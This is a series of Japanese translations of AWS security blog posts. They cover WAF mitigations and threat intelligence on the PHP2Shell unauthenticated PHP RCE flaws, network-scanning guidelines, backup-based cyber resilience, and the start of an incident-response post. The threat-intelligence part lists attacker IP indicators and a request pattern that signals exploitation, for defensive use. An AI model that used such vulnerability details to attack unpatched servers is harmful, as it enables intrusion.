並行して、PHP のアップグレードと構成の緩和策を適用します。フリートへのパッチ適用が完了したら、AWS WAF ルールを削除するか、補助的な制御として維持します。 まとめ PHP2Shell 脆弱性 (CVE-2026-109618 および CVE-2026-109619) は、アプリケーションコードが実行される前の段階で PHP に到達する、認証不要の RCE 脆弱性です。AWS WAF は、パッチ適用期間中のアタックサーフェスの縮小に役立ちます。具体的には、セッションアップロード進捗フィールドのブロック、アップロードが想定されない場合の multipart リクエストのブロック、リクエスト本文サイズの上限設定、繰り返しの試行のレート制限です。これらの緩和策は露出の低減に役立ちますが、脆弱性そのものを解消するものではありません。PHP を修正済みのリリースにアップグレードし、サーバー構成の変更を適用してください。AWS WAF ルールは修正そのものではなく、それらの修正を支えるエッジのレイヤーとして位置付けてください。 ここで使用したルールタイプの詳細については、AWS WAF ドキュメントの ウェブ ACL の本文検査サイズ制限 、 サイズ超過のリクエストコンポーネントの処理 、および サイズ超過の HTTP リクエスト本文の処理 に関するページを参照してください。脆弱性の詳細については、PHP アドバイザリ GHSA-w8hw-w9fx-j79w および GHSA-6wmf-4rv5-p3rp 、PHP の セッションアップロード進捗のマニュアル を参照してください。 Alex Waddell Alex Waddell は、AWS の Worldwide Specialist Organization でセキュリティを専門とする Principal Solutions Architect で、スコットランドを拠点としています。1999 年からセキュリティ分野に携わり、2021 年に AWS に入社しました。EMEA 全域のお客様とともに、クラウドセキュリティアーキテクチャ、アイデンティティ、脅威検出、アプリケーションセキュリティに取り組んでいます。仕事以外では、世界各地のラム酒の飲み比べ (Alex はウイスキーを好まない珍しいスコットランド人の 1 人です)、地元の森の小道での犬の散歩、旅行を楽しんでいます。 Lawton Pittenger Lawton は、ニューヨーク市を拠点とする AWS の Worldwide Security Specialist Solutions Architect です。効果的なネットワークセキュリティ制御の設計と実装について、お客様を支援することを専門としています。AWS では、幅広いお客様と協力するとともに、サービスチームと緊密に連携し、お客様のニーズとフィードバックに基づいてセキュリティサービスの継続的な改善を推進しています。仕事以外では、スケートボード、スノーボード、自然の中で過ごすことを楽しんでいます。 Ian Olson Ian は AWS の Senior Security Specialist Solutions Architect です。お客様がセキュリティサービスを自動化し、DDoS やウェブの脆弱性を悪用した攻撃などの脅威から環境を保護できるよう支援しています。インテリジェントオートメーションを通じて、あらゆる規模の組織に合わせたセキュリティソリューションを提供しています。仕事以外では、2 人の幼い子どもと過ごす時間を大切にしています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 10 月 21 日に公開された AWS Blog “ Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot ” を翻訳したものです。 Amazon Threat Intelligence は、MadPot のテレメトリから、2026 年 10 月 17 日に PHP2Shell の悪用の試みがあったことを特定しました。これは CVE-2026-109618 と CVE-2026-109619 が一般に公開される 4 日前のことです。この悪用の試みは、商用の匿名化ネットワークに関連する IP アドレスから行われていました。この脆弱性に関する情報がエンバーゴ (公開制限) の対象となっていた間に、匿名化された IP アドレスからハニーポットが標的にされました。このことから、このアクティビティは脅威アクターによるものと考えられます。ただし、このアクターが公開前にどのようにエクスプロイトの情報を入手したのかは、原文公開時点ではまだ不明でした。 PHP のエンバーゴは、2026 年 10 月 21 日 14:00 (UTC、日本時間同日 23:00) に解除される予定でした。解除当日、Amazon Threat Intelligence はこの脆弱性に対する複数の概念実証エクスプロイトを特定しました。最も早いものは 2026 年 10 月 21 日 2:00 (UTC、日本時間同日 11:00) ごろに確認されています。その後、2026 年 10 月 21 日 2:00 から 8:00 (UTC、日本時間同日 11:00 から 17:00) までの間にも、Amazon Threat Intelligence は、別の匿名化インフラストラクチャから MadPot を標的とした PHP2Shell の悪用の試みを新たに特定しました。実際のペイロードや使用された匿名化インフラストラクチャはそれぞれ異なっており、複数のアクターによるものであることが示唆されています。2026 年 10 月 21 日の原文公開時点では技術的な分析が継続中で、これらの試みが実環境のシステムでも成功し得るものだったかどうかは明らかになっていませんでした。 エンバーゴが実際に解除されたのは、2026 年 10 月 21 日 14:00 (UTC、日本時間同日 23:00) でした。エンバーゴの解除とパッチのリリース後、数時間以内に新たな概念実証エクスプロイトが登場しました。AWS は、それらがほぼ直ちに自社のセンサーに対して使用されたことを確認しました。原文公開時点で、PHP2Shell は既に実環境で広く悪用されていました。 今回の事例から得られた 2 つの教訓は、この脆弱性に限らず広く当てはまります。 エンバーゴが防御側を守れるのは、他の誰かが同じバグを発見するまでの間だけです。協調的開示 (Coordinated Disclosure) は、引き続き適切なモデルです。しかし防御側は、公開日が悪用の始まった最も早い日であると想定すべきではありません。PHP2Shell の場合、アドバイザリの公開よりも前に侵害が発生していた可能性があります。 パッチのリリースから実際に動作するエクスプロイトが登場するまでの時間は、構造的な理由で短くなっています。これまで AWS が観測してきた悪用の大半は、概念実証が公開された後に発生していました。高い能力を持つ少数のアクターがエクスプロイトを作成し、それ以外のアクターはその公開を待つという構図でした。しかし、この依存関係は弱まりつつあります。AI を活用した分析によって、パッチの差分やアドバイザリから実際に動作するエクスプロイトを作成するコストが下がっています。その結果、脆弱性の技術的な詳細が公開されると、より多くのアクターが数時間、場合によっては数分以内に行動を起こせるようになっています。 セキュリティリーダーにとっては、これにより実務上のいくつかの前提が変わります。 インターネットに公開されたシステムの重大な脆弱性については、パッチ適用と緩和策のタイムラインを時間単位で管理してください。7 日間や 30 日間の SLA は、もはや存在しない猶予を前提としています。 調査は公開日からではなく、既知の最も早い悪用の時点から開始してください。PHP2Shell については、少なくとも 2026 年 10 月 17 日以降を調査対象としてください。 特定の CVE 向けのシグネチャに依存しない検出に投資してください。多くの場合、最初の悪用はそうしたシグネチャが作成される前に発生します。 AWS がお客様を保護する仕組み AWS は、お客様の保護に役立つ多層的な防御策を導入しています。AWS 社内の脅威インテリジェンスシステムは、この脆弱性を標的とした悪意のあるスキャンを自動的に検出し、その活動を制限しました。AWS は、毎分 2,000 億件を超えるイベントの分析と、MadPot ハニーポットネットワークから得た脅威インテリジェンスの統合によって、既知の悪用の試みをリアルタイムで特定し、ブロックしています。このハニーポットシステムによって悪用の試みを早期に検出できるため、迅速な対応と脅威分析が可能になります。 直ちに実施すべき推奨対策 脆弱性が修正された PHP バージョンに直ちにアップグレードしてください。CVE-2026-109618 と CVE-2026-109619 の両方を完全に修正する唯一の方法は、アップグレードです。設定変更だけで両方の問題に完全に対処できる回避策はありません。 直ちにパッチを適用できない PHP 環境では、マルチパートファイルアップロードのブロックを検討してください。ただし、導入する前に、アプリケーションへの影響を確認してください。 フォームアップロードで、PHP_SESSION_UPLOAD_PROGRESS 文字列を含む POST リクエストがないか確認してください。 ウェブサーバーのログに不審なアクティビティがないか確認してください。 ウェブアプリケーションサーバーで、予期しないプロセスの実行やファイルの変更がないか確認してください。 侵害指標 (IOC) IP アドレス 観測日 103.216.220.92 2026/10/17 31.223.184.166 2026/10/21 37.19.200.5 2026/10/21 134.209.159.64 2026/10/21 103.114.163.188 2026/10/21 95.217.98.37 2026/10/21 特定された IP アドレスには共有の匿名化インフラストラクチャのアドレスが含まれており、今回の脅威アクティビティだけに使用されているわけではありません。これらのアドレスが観測された場合は、ブロックするのではなく調査することをお勧めします。 ご質問がある場合は、 AWS re:Post で新しいスレッドを開始するか、 AWS サポート にお問い合わせください。 CJ Moses CJ Moses は Amazon Integrated Security の CISO です。CJ はこの役職で、Amazon 全体のセキュリティエンジニアリングとオペレーションを統括しています。CJ の使命は、セキュリティのメリットを最も手間なく得られるようにすることで、Amazon の各事業を支援することです。CJ は 2007 年 12 月に Amazon に入社し、Consumer CISO、直近では AWS CISO などのさまざまな役職を歴任した後、2023 年 9 月に Amazon Integrated Security の CISO に就任しました。 CJ は Amazon に入社する前、米国連邦捜査局のサイバー部門で、コンピュータおよびネットワークへの侵入に関する技術分析を統括していました。また、米国空軍特別捜査局 (AFOSI) の特別捜査官も務めました。今日のセキュリティ業界の基礎とみなされている複数のコンピュータ侵入捜査を指揮した実績もあります。 CJ はコンピュータサイエンスと刑事司法の学位を持ち、SRO GT America の GT2 クラスに参戦する現役のレーシングドライバーでもあります。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 11 月 25 日に公開された AWS Blog “ Introducing guidelines for network scanning ” を翻訳したものです。 Amazon Web Services (AWS) は、お客様のワークロードを対象としたネットワークスキャンのガイドラインを導入します。ガイドラインに準拠したスキャナーは、より正確なデータを収集でき、不正利用として報告されることも最小限に抑えられます。さらに、すべての人にとってのインターネットのセキュリティ向上にも貢献できます。 ネットワークスキャンは、現代の IT 環境で用いられる手法です。正当なセキュリティ目的で使われることもあれば、悪意のある活動に悪用されることもあります。正当な用途としては、組織がネットワークスキャンを実施して、資産の正確なインベントリを維持し、セキュリティ設定を検証します。また、対応が必要な潜在的な脆弱性や古いバージョンのソフトウェアを特定します。セキュリティチーム、システム管理者、認可を受けたサードパーティのセキュリティ研究者にとって、スキャンはセキュリティポスチャのデータを収集するための標準的なツールの 1 つです。一方で、スキャンは脅威アクターも実行しており、システムの列挙、弱点の発見、攻撃に向けた情報収集に利用されています。正当なスキャン活動と潜在的に有害な偵察を見分けることは、セキュリティ運用における絶え間ない課題です。 スキャンによって特定のシステムでソフトウェアの脆弱性が見つかる場合、そのスキャナーが善意に基づいてスキャンしていることが特に重要です。ソフトウェアの脆弱性が脅威アクターに発見され、攻撃に悪用されると、組織の IT システムへの不正アクセスにつながるおそれがあります。組織は、ランサムウェア、データ窃取、運用上の問題、規制上の罰則から自らを守るため、ソフトウェアの脆弱性を効果的に管理する必要があります。その一方で、NIST National Vulnerability Database のデータが示すとおり、既知の脆弱性の数は過去 10 年間、年率 21% のペースで急速に増加しています。 こうした状況を踏まえ、ネットワークスキャナーには、スキャンの実施と収集したセキュリティデータの管理を慎重に行うことが求められます。セキュリティデータに関心を持つ関係者はさまざまで、グループごとにデータの使い方も異なります。セキュリティデータが脅威アクターに発見されて悪用されると、システムの侵害、ランサムウェア、サービス拒否によって、システム所有者に業務の混乱やコストが生じる可能性があります。エネルギー、製造、ヘルスケア、政府、教育、金融、運輸の各分野で重要なサービスを提供するデータセンターやネットワークに接続されたソフトウェアワークロードは、指数関数的に増加しています。そのため、セキュリティデータが悪意のある者の手に渡った場合、現実世界に重大な影響を及ぼすおそれがあります。 複数の関係者 セキュリティデータには複数の関係者が利害を持っています。少なくとも次のようなグループが挙げられます。 組織は、資産を保護するため、資産インベントリを把握し、脆弱性に迅速にパッチを適用したいと考えています。 プログラム監査人は、組織がインフラストラクチャを管理するための堅牢な統制を整備している証拠を求めています。 サイバー保険会社は、組織のセキュリティポスチャのリスク評価を求めています。 デューデリジェンスを実施する投資家は、組織のサイバーリスクプロファイルを把握したいと考えています。 セキュリティ研究者は、リスクを特定して組織に通知し、対策を促したいと考えています。 脅威アクターは、不正アクセスを目的として、パッチが適用されていない脆弱性や弱点を悪用しようとしています。 セキュリティデータは機密性が高いため、利害が対立する関係者が入り組んだ複雑なエコシステムが形成されています。組織はその中で、関係者ごとに異なるレベルのデータアクセスを維持しなければなりません。 ガイドラインを導入する理由 ここまで、ネットワークスキャンの正当な用途と悪意のある用途、そしてスキャン結果のデータに関心を持つさまざまな関係者について説明しました。AWS がこのガイドラインを導入する理由は、AWS のネットワークとお客様を保護する必要があり、同時にこれらの関係者を見分けるのが難しいためです。インターネットでネットワークスキャナーを識別するための単一の標準は存在しません。そのため、システム所有者や防御担当者は、誰がシステムをスキャンしているのかを把握できていないことが少なくありません。これらのさまざまな関係者の識別は、各システム所有者が個別に管理する必要があります。ネットワークスキャナーは、逆引き DNS、カスタムユーザーエージェント、専用のネットワーク範囲など、独自の方法で自らの身元を示す場合があります。悪意のあるアクターであれば、識別そのものを回避しようとすることもあります。このように識別方法がまちまちなため、システム所有者がネットワークスキャンを実行している関係者の動機を把握するのは困難です。 この課題に対処するため、AWS はネットワークスキャンに関する行動ガイドラインを導入します。AWS はすべてのお客様にネットワークセキュリティを提供することを目指しており、このガイドラインを満たさない不正なスキャンを排除することを目標としています。広範囲にネットワークスキャンを行う関係者は、このガイドラインに従うことで、AWS の IP 空間からより信頼性の高いデータを取得できます。また、AWS でワークロードを運用する組織は、リスク管理においてより高い確実性を得られます。 ネットワークスキャンがこのガイドラインに沿って管理されれば、システム所有者は防御を強化し、デジタルエコシステム全体の可視性を高めることができます。例えば、 Amazon Inspector は、このガイドラインに準拠しながら、ソフトウェアの脆弱性を検出し、修復作業の優先順位付けを行えます。同様に、AWS Marketplace のパートナーも、このガイドラインに従ってインターネット全体のシグナルを収集し、組織がサイバーリスクを把握し、管理できるよう支援しています。 「組織が自らのセキュリティポスチャとサードパーティのセキュリティポスチャをデータに基づいて明確に可視化できれば、より迅速かつ的確な意思決定を行い、エコシステム全体のサイバーリスクを低減できます」 – Bitsight CTO、Dave Casion 氏 もちろん、セキュリティは協力して取り組むことでより効果を発揮します。AWS のお客様は、不正なスキャンを Trust & Safety Center に報告できます。報告の際は、種類として [Network Activity] > [Port Scanning and Intrusion Attempts] (ネットワークアクティビティ > ポートスキャンと侵入の試み) を選択してください。それぞれの報告が、セキュリティデータの悪用に対する全体的な保護の強化につながります。 訳注: 2026 年 10 月時点の報告フォームでは選択肢が原文の記載と異なり、[Port Scanning and Intrusion Attempts] という項目はありません。[AWS] (AWS が所有するリソース) と [Network Activity] (ネットワークアクティビティ) を選択した後、[Type of abuse] (不正使用の種類) で、不正なスキャンの報告には [Port scanning] (ポートスキャン) を選択します。ログイン試行や脆弱性の悪用など侵入の試みを伴う場合は [Intrusion attempts (ssh, FTP, etc.)] (侵入の試み (ssh、FTP など))、HTTP のクローリングやボットによるアクセスの場合は [Web crawling, scraping, and bots] (ウェブクローリング、スクレイピング、ボット) も該当します。 ガイドライン 正当なネットワークスキャナーが脅威アクターとの違いを明確に示せるよう、AWS はお客様のワークロードをスキャンする際のガイダンスを次のとおり提供します。このネットワークスキャンに関するガイダンスは、 ペネトレーションテスト と 脆弱性の報告 に関するポリシーを補完するものです。AWS は、このガイドラインに準拠していないと見られるトラフィックを制限またはブロックする権利を留保します。このガイドラインに準拠したスキャナーは、次のプラクティスに従います。 観察のみ 検出したエンドポイント上のリソースやデータを作成、変更、削除しようとする操作は一切行いません。 対象システムの完全性を尊重します。スキャンによってシステムの機能を低下させたり、システム設定を変更したりしません。 変更を伴わないスキャンの例は次のとおりです。 TCP ハンドシェイクの開始と完了 SSH サービスからのバナーの取得 識別可能 スキャン活動の送信元を公開し、透明性を確保します。 スキャン活動の真正性を確認できる検証可能なプロセスを実装します。 識別可能なスキャンの例は次のとおりです。 スキャン元 IP の逆引き DNS ルックアップのサポート (自組織のパブリック DNS ゾーンのいずれかに属する名前を返す) リクエストの種類 (サービスの存在確認、脆弱性チェックなど) ごとに整理したスキャン用 IP 範囲の公開 HTTP スキャンの場合は、ユーザーエージェント文字列への意味のある情報 (自組織のパブリック DNS ゾーン内の名前、オプトアウト用の URL など) の記載 協調的 対象システムへの影響を最小限に抑えるため、スキャンレートを制限します。 検証済みのリソース所有者がスキャン活動の停止を要求できるよう、オプトアウトの仕組みを提供します。 妥当な期間内にオプトアウトの要求に従います。 協調的なスキャンの例は次のとおりです。 宛先サービスごとに、スキャンを 1 秒あたり 1 サービストランザクションまでに制限 robots.txt や security.txt など、サイト所有者の意図を表すための業界標準で示されたサイト設定の尊重 機密保持 SOC2 などの業界標準の認証に示されるような、安全なインフラストラクチャとデータ取り扱いのプラクティスを維持します。 収集したスキャンデータに対して、認証されていないアクセスや権限のないアクセスが発生しないようにします。 ユーザーの識別と検証のプロセスを実装します。 AWS が公開しているガイダンスの全文をご覧ください 。 今後の展望 このガイダンスに従うネットワークスキャナーが増えれば、システム所有者は機密性、完全性、可用性に対するリスクを低減できます。正当なネットワークスキャナーは、自らの意図を明確に示し、可視性の質も向上させます。ネットワークを取り巻く状況は絶えず変化しているため、AWS は、このガイダンスが技術的な統制とともに今後も進化していくと考えています。AWS とインターネット全体のセキュリティポスチャを継続的に改善していくため、お客様、システム所有者、ネットワークスキャナーをはじめとする皆様からのご意見をお待ちしています。 この記事に関するフィードバックがある場合は、 AWS サポートにお問い合わせ ください。 Stephen Goodman Stephen は、Amazon active defense のシニアマネージャーとして、AWS のお客様とインターネットを脅威アクターから守るためのデータ駆動型プログラムを主導しています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 7 月 11 日に公開された AWS Blog “ Proactive strategies for cyber resilience and business continuity on AWS ” を翻訳したものです。 Amazon Web Services (AWS) は、サイバーセキュリティインシデントや、技術的な障害、自然災害といった事業継続を脅かすイベントに備えて、ワークロードを復旧できるよう準備しておくことを組織に推奨しています。この記事では、公共部門の組織が AWS インフラストラクチャを使用して、クラウド上でレジリエントなシステムを運用するためのガイダンスと戦略を紹介します。AWS がお客様に推奨している内容は次のとおりです。 サイバーセキュリティと AWS アーキテクチャのベストプラクティスに関するフレームワークを使用する マルチアカウント環境を実装する AWS 環境とワークロードのデプロイに Infrastructure as Code (IaC) を使用する プライマリワークロードとは異なるアベイラビリティーゾーンまたは リージョン に復旧用アカウントを準備する すべてのアプリケーションコード、IaC コード、設定ファイル、その他の依存関係を復旧用アカウントに配置する 復旧用アカウントにデータをバックアップする戦略を定義する 復旧用アカウントで、ユニットテストとワークロード全体のテストを自動化する 確立されたフレームワークを使用する ランサムウェアなどのサイバーセキュリティインシデントが増加し続ける中、公共部門の組織は、サイバーセキュリティリスクをより適切に管理するためのガイダンスとして、 NIST Cybersecurity Framework (CSF) 2.0 などのフレームワークを参考にしています。このフレームワークは 米国国立標準技術研究所 (NIST) が策定したものです。CSF はサイバーセキュリティの成果を機能 (統治、識別、防御、検知、対応、復旧) ごとに整理していますが、NIST はその成果を達成する具体的な方法までは規定していません。 より具体的なガイダンスについては、「 AWS Blueprint for Ransomware Defense 」などのリソースを参照してください。このリソースでは、具体的な AWS サービスを CSF の各機能にマッピングしています。AWS でのアーキテクチャ設計のベストプラクティスを深く理解するには、 AWS Well-Architected フレームワーク が役立ちます。このフレームワークは 6 つの柱に沿ってベストプラクティスを詳しく解説しており、クラウドアーキテクトが AWS 責任共有モデル に従って、さまざまなアプリケーションやワークロード向けに、安全で高性能、レジリエントかつ効率的なインフラストラクチャを構築できるよう支援します。さらに、これらのフレームワークを補完するのが AWS Security Reference Architecture (AWS SRA) です。AWS SRA は、AWS の推奨プラクティスに沿って AWS のセキュリティサービスを設計、実装、管理するのに役立ちます。この記事では、CSF と AWS Well-Architected を橋渡しする形で、サイバーセキュリティイベントや災害からの復旧に備えるための重要なパターンを紹介します。 AWS でマルチアカウント戦略を実装する AWS では、ベストプラクティスとして、マルチアカウント戦略に基づいてクラウド環境を構築することを推奨しています。このようにマルチアカウント戦略に基づいて構築した環境は ランディングゾーン とも呼ばれます。 AWS Organizations を AWS Control Tower または Landing Zone Accelerator on AWS と組み合わせて使用すると、管理と自動化が容易な環境を構築できます。複数の AWS アカウントを使用すると、アプリケーションとデータを分離して管理しやすくなり、環境内での意図しない横方向の移動 (ラテラルムーブメント) を排除できます。 マルチアカウント戦略の一環として、AWS は AWS IAM Identity Center を使用してアイデンティティを一元管理することを推奨しています。AWS 外部の ID プロバイダーを IAM Identity Center と統合することも可能です。ただし、復旧時にはルート認証情報を使用しなければならない場合があります。 AWS では、AWS アカウントへのルートアクセスは必要な場合にのみ使用することを推奨しています 。アカウントの乗っ取りや不正アクセスを防ぐために、ルート認証情報は適切に保護する必要があります。AWS は 2024 年 11 月に、ブログ記事「 AWS Organizations を使用するお客様のためのルートアクセスの一元管理 」で、ルート認証情報を一元管理するための新機能を発表しました。ルート認証情報を一元管理することで、長期間有効なルート認証情報を削除し、認証情報が意図せず、または不正にリカバリされることを防止できるため、AWS 環境全体のセキュリティポスチャを強化できます。 自動化によって AWS インフラストラクチャを構築する AWS は、DevSecOps の重要な原則として、すべての AWS インフラストラクチャを IaC でデプロイすることを推奨しています。IaC を使用すると、インフラストラクチャを迅速に反復改善できるほか、一貫性と再現性の向上、設定ミスの削減、バージョン管理も実現できます。復旧の観点で特に重要なのは、IaC がインフラストラクチャのドキュメントとしても機能することです。IaC は、事業継続を脅かすイベントからの復旧と、それに備えたテストを迅速化します。これにより、新しい AWS アカウントや AWS リージョンにインフラストラクチャをすばやくデプロイできます。 AWS のサービスは IaC を前提に設計されており、組織のニーズに合わせてさまざまな IaC ツール から選択できます。AWS は、 AWS CloudFormation や AWS Cloud Development Kit (AWS CDK) などの選択肢を提供しています。AWS CloudFormation ではテンプレートを使用してインフラストラクチャを定義でき、AWS CDK では使い慣れたプログラミング言語でクラウドリソースを定義できます。また、AWS CloudFormation では 既存のインフラストラクチャからスタックを作成 することもできるため、IaC への移行が容易になります。アプリケーションレベルでは、 AWS サーバーレスアプリケーションモデル (AWS SAM) を利用できます。AWS SAM は、IaC を使用してサーバーレスアプリケーションを構築するためのオープンソースフレームワークです。AWS は HashiCorp Terraform もサポートしています。HashiCorp Terraform は、複数のクラウドサービスプロバイダーにまたがるリソースとオンプレミスのリソースの両方を、人間が読める形式の設定ファイルで定義できる IaC ツールです。この設定ファイルは、バージョン管理、再利用、共有が可能です。 どのツールを使用する場合でも、IaC はリソース名、AWS リージョン、IP 範囲などを変数化して開発できるため、AWS アカウントやリージョンをまたいでコードを簡単に再利用でき、復旧プロセスを迅速化できます。IaC コードは、GitLab などのソースコードリポジトリに保存してください。より迅速に復旧できるよう、独自の DevSecOps パイプラインを構築することも、AWS 規範ガイダンスに従って標準化することもできます。 DevOps Pipeline Accelerator (DPA) は、前述のツールを使用して、アプリケーションやインフラストラクチャをデプロイするための 継続的インテグレーションと継続的デリバリー (CI/CD) パイプライン全体の構築に役立つテンプレート群で構成されたソリューションです。IaC の詳細については、 Infrastructure as Code のホワイトペーパー を参照してください。 復旧先を準備する アイデンティティの侵害などのサイバーセキュリティインシデントに備えて、AWS は前述のマルチアカウント戦略を活用し、復旧用のアカウントを個別に用意することを推奨しています。AWS アカウント内のアイデンティティはロールに基づいて管理すべきですが、悪意のある攻撃者がルートアクセスを取得しているか、自身の権限を昇格させることができる場合は、同じアカウント内のバックアップも侵害される可能性があるためです。 技術的な障害や自然災害への対策として、可能性は低いものの、 AWS アベイラビリティーゾーン が利用できなくなるシナリオからワークロードを保護できます。リージョン内でアベイラビリティーゾーン単位の復旧を行う場合は、復旧用のアベイラビリティーゾーンが、ワークロードのデプロイ先とは別のゾーンであることを確認してください。そのためには、アカウント間で一貫したアベイラビリティーゾーン ID (AZ ID) を使用します。 AWS は、アカウントごとに AZ の名前をランダムに割り当てます 。別のアカウントのアベイラビリティーゾーンを復旧に効果的に使用するには、リージョン内の すべてのアカウントで一貫した AZ ID を使用 してください。この方法により、同じリージョン内の 2 つ以上のアベイラビリティーゾーンにワークロードを分散デプロイしてレジリエンスを確保しつつ、復旧用には別のアベイラビリティーゾーンを使用できます。一貫した AZ ID を使用すれば、復旧用のアベイラビリティーゾーンを、すべてのワークロードのデプロイ先とは確実に異なるゾーンにできます。 訳注: 2025 年 11 月以降に作成されたアカウントでは、従来はアカウントごとに AZ 名の対応がランダムだったリージョンでも、すべてのアカウントで同じ AZ 名が同じ AZ を指します。それより前に作成されたアカウントでは、従来どおり AZ 名がアカウントごとに個別に対応付けられているため、アカウント間で AZ を揃えるには引き続き AZ ID を使用します。参照: AZ IDs – AWS Regions and Availability Zones 次の図は、AZ ID を使用したワークロードアカウントと復旧用アカウントのアーキテクチャを示しています。 図 1. アベイラビリティーゾーン ID を使用したワークロードアカウントと復旧用アカウントの例 より広範囲に及ぶ技術的な障害や自然災害に対するレジリエンスを確保するには、マルチリージョンでの復旧を選択することもできます。AWS は、可能であれば、復旧用アカウントに別のリージョンを使用することを検討するよう推奨しています。例えば、米国東部 (バージニア北部) リージョン ( us-east-1 ) をメインに、米国東部 (オハイオ) リージョン ( us-east-2 ) をバックアップ先にする構成です。少なくとも、データは別のリージョンにバックアップすることを AWS は推奨しています。クロスリージョンのバックアップ先を使用する場合、別のアカウントでバックアップデータを復号できるよう、 AWS Key Management Service (AWS KMS) を使用した暗号化キーの戦略を検討する必要があります。 なお、リージョン間のデータ転送料金はアベイラビリティーゾーン間よりも高くなる可能性があります。この点も、バックアップ先の戦略全体を検討する際に考慮してください。 バックアップ戦略を定義し、自動テストを実装する AWS は、クラウドベースのソリューションに合わせてバックアップ戦略を策定することを推奨しています。前述のとおり復旧先を準備したら、 AWS Backup を使用してワークロードデータを復旧用アカウントにバックアップできます。AWS Backup は、IaC、インフラストラクチャの設定データ、アプリケーションコード、アプリケーションの設定を復旧先に保存する用途にも使用できます。ほとんどのシナリオでは、ワークロードの復元にこれらすべての種類のデータが必要になります。クラウドベースのコードリポジトリを使用している場合は、十分なバックアップ機能がそのソリューションに既に備わっている可能性があります。 バックアップしたデータが実際に使用できるかを検証するために、AWS は復旧用アカウントで自動テストを実装することを推奨しています。例えば、バックアップの完了後に実行され、バックアップを正しく読み取れることを確認する自動プロセスを実装すると、ランサムウェアなどの脅威に対する効果的な緩和策になります。こうした攻撃への対策をさらに強化するために、バックアップしたすべてのコンポーネントについて複数のバージョンを保持し、必要に応じて古いバージョンのバックアップを復元できるようにしておくこともできます。また、バックアップ戦略の一環として、 AWS Backup Vault Lock などの機能を使用したイミュータブルなバックアップの採用を検討するのもよいでしょう。 バックアップと IaC の戦略の一環として、ワークロードに必要なコンポーネントが復旧先に保存されていることを確認してください。対象には、IaC コード、インフラストラクチャの設定データ、 Amazon マシンイメージ (AMI)、アプリケーションコード、アプリケーションの設定が含まれます。このプロセスは、DevSecOps と IaC の戦略全体に組み込む必要があります。DevSecOps パイプラインで変更が行われたときに、これらすべてのコンポーネントのバックアップをトリガーする自動プロセスを実装すれば、復旧用アカウントのバックアップを常に最新の状態に保つことができます。パイプラインの変更が頻繁に発生するシステムでは、毎日など定期的に実行される自動バックアッププロセスを選択することもできます。 復旧用アカウントの準備、IaC の実装、バックアップ戦略の確立が完了したら、復旧用アカウントでワークロード全体をテストすることを AWS は推奨しています。復旧用アカウント内の IaC コードとバックアップを使用して、そのアカウントでワークロード全体を定期的に構築してください。多くの場合、既存のコンポーネントテスト、統合テスト、ユーザー受け入れテストのスクリプトを、定期的な事業継続訓練に活用できます。このようなテストによって復旧機能の有効性を検証でき、事業継続を脅かすイベントが発生した場合にワークロードを復旧できることを確認できます。 まとめ この記事で紹介したベストプラクティスに従うことで、公共部門の組織は AWS の機能を活用して、事業継続を脅かすイベントからの復旧に備えることができます。さらに詳しいガイダンスについては、AWS アカウントチームとソリューションアーキテクトにお問い合わせください。 Devin Gordon Devin は Amazon Web Services (AWS) のプリンシパルソリューションアーキテクトとして、米国連邦政府の文民機関を支援しています。AWS ではセキュリティを専門としており、お客様が新興テクノロジーを活用しながら安全な環境を実装できるよう支援することに情熱を注いでいます。旅行が好きで、特にスキューバダイビングやハイキングなどのアウトドア活動を楽しんでいます。 Henrik Balle Henrik は AWS のプリンシパルソリューションアーキテクトとして、米国の公共部門を支援しています。機械学習から大規模環境でのセキュリティとガバナンスまで、幅広いトピックについてお客様と緊密に連携しています。余暇にはロードバイクやオートバイを楽しむほか、自宅のリフォームに次々と取り組んでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 7 月 24 日に公開された AWS Blog “ AWS Security Incident Response: The customer’s journey to accelerating the incident response lifecycle ” を翻訳したものです。 2025 年 8 月 1 日: この記事は、AWS WAF と AWS Shield への誤った言及を削除するために再公開されました。 効果的なセキュリティインシデント対応プログラムを構築し、維持するうえで、組織が直面する課題は増え続けています。 IBM と Morning Consult の調査によると、セキュリティチームは 2 つの大きな課題に直面しています。1 つは、リソースの制約とアラート疲れにより、50% を超えるセキュリティアラートが未対応のままになっていることです。もう 1 つは、誤検知 (フォールスポジティブ) が調査時間の 30% を占め、真陽性 (トゥルーポジティブ) と判定された脅威への対応が遅れていることです。 調査レポート「 2024 IBM Cost of a Data Breach Report 」によると、組織がセキュリティイベントを特定して封じ込めるまでに、平均 258 日を要していました。同レポートでは、SOC (セキュリティオペレーションセンター) チームの半数近くが、調査時点までの 2 年間で検出と対応にかかる時間が長くなったと報告しています。さらに 80% が、手動での脅威調査が対応時間に大きく影響していると回答しています。 こうした課題がある一方で、「2024 IBM Security Services Benchmark Report」によると、成熟したインシデント対応能力を持つ組織では、平均解決時間 (MTTR) が 50% 短縮され、インシデントあたり最大 58% のコスト削減を実現しています。これらの改善は、脅威の検出と封じ込めを加速する自動化されたワークフロー、統合ツール、効率化されたコミュニケーションプロセスの導入によってもたらされています。 この記事では、実環境を想定したシナリオを通じて、 AWS Security Incident Response がインシデント対応ライフサイクルのあらゆるステップを加速し、すぐに効果をもたらす仕組みを紹介します。また、 Amazon GuardDuty 、 AWS Security Hub 、 AWS Systems Manager といった他の AWS ネイティブサービスとの統合方法や、サードパーティーによる脅威の検出結果を取り込み、自動化されたモニタリング、トリアージ、封じ込めの機能に組み込む方法についても説明します。 AWS Security Incident Response による支援 AWS Security Incident Response は、2024 年 12 月にリリースされた Tier 1 サービスです。お客様向けに専用に構築された AWS ネイティブのセキュリティインシデント対応ソリューションであり、検出と対応 (GuardDuty と Security Hub)、管理とガバナンス (Systems Manager) の分野の他の AWS サービスと組み合わせることで、より大きな効果を発揮します。また、AWS Security Incident Response は、サービス固有のパートナースペシャライゼーションプログラムを通じて AWS パートナーとも統合されています。詳細については、 AWS Security Incident Response のドキュメント を参照してください。 AWS Security Incident Response は、セキュリティイベントの発生前、発生中、発生後を通じて効率的なインシデント管理機能を提供し、セキュリティポスチャを強化することで、既存のサービスを補完します。 主な課題 AWS Security Incident Response は、次の 3 つの一般的な課題に対応します。 アラート疲れ : 